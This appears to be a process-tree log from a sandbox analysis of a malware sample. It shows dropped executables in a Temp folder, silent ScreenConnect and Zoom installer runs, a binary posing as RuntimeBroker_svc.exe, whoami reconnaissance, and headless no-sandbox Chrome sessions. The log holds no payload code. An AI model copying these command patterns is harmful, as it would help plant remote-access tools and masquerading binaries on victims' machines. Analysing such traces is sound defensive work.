C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4408,i,12115918929054316104,5833151147946637596,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4924,i,10640812689823533411,5652022638872826119,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=6172,i,4144118199417642823,17132534214300944504,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=3236,i,1143542376733749550,14359560006833401668,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=3344,i,16385763544598722365,9128675493266969159,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=6804 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=6756,i,10274169502758080202,6338713766541676013,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=5712,i,14236271152887367262,14480169460311363258,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,2093731745233690961,17435061781942298124,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --force-high-res-timeticks=disabled --metrics-shmem-handle=6824,i,15979874838082888312,13680987936294530901,524288 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=7100,i,14567670770293273662,11135090366091876345,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5716,i,8622128739412532333,5168133233628992540,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=784 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\itotkrt2.n5c" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6820,i,5638722331187880641,14516620191043427878,2097152 --field-trial-handle=2552,i,18027837901232316139,216677347683697927,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\werwte.exewerwte.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\iuyuh.exeiuyuh.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\b4929af67c7c2b77\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.execlient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exefile_37b904483beaa60e.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ZoomInstaller.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Setup.exeSetup.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\361A.tmp\Setup.bat""4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /NH5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 5405⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\20.exe20.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loner.exeloner.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2500,i,9999701667834801285,3197549136605534611,262144 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2572,i,16709703210598129009,8156200440082411422,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=2956,i,274426514537264360,3187626141856977189,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4148,i,13539459079032223140,16793983758251656695,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=4156,i,10419239017847955014,14437133490460058313,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4344,i,11490075915876461243,14037651472427204387,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4316,i,16333127316984097041,16877021242958938788,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5260,i,6946370965101609318,211380127903309648,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=4316,i,3585484567178321597,6069459282676587306,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=4200,i,9905795345729467636,7504626700898445613,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=6296,i,6280047586268741229,7488315931993762265,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=2072,i,14901328385832621627,6049735405615084378,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=4456,i,12142875205092780224,10566663573219789711,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=2100,i,4244601554609771993,12314506038877610885,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --force-high-res-timeticks=disabled --metrics-shmem-handle=6560,i,2077115072648226096,9840596187549443127,524288 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6316,i,5742362372793190666,16183116273014519386,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hjl5fvgu.fim" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6296,i,2113446315968698541,8547066016766622676,2097152 --field-trial-handle=3280,i,14746587260222496159,3167296399883093965,262144 --variations-seed-version --mojo-platform-channel-handle=7020 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1.exeC:\Users\Admin\AppData\Local\Temp\a\1.exe4⤵
-
C:\Windows\system32\whoami.exewhoami5⤵
-
-
C:\Windows\system32\whoami.exewhoami5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EagleJetClient4.exeEagleJetClient4.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2092,i,15668897789677168263,14598489945981851285,262144 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2280,i,3882542246197568700,4390597696099088830,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2504,i,1841257276498433640,6261763565594599499,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=4324,i,11831940089685128209,1703948683337335678,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=4344,i,7344351212932012619,11370921020169261506,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4532,i,2282953805173787992,17155769044926034045,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4544,i,5064192347071400974,7076316754969748272,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5296,i,6059027506840184098,10658589339648705719,2097152 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=4608,i,11108195664109025429,12220973307913129829,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=2508,i,8048365155098800623,983768488642854898,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=2988 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,1234590561064687763,8649133004732420957,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ktnqabvf.w35" --force-high-res-timeticks=disabled --metrics-shmem-handle=5808,i,4112998128732608319,10155456324580660985,524288 --field-trial-handle=3076,i,12571366590882643883,11722425331548779019,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:145⤵
-
-
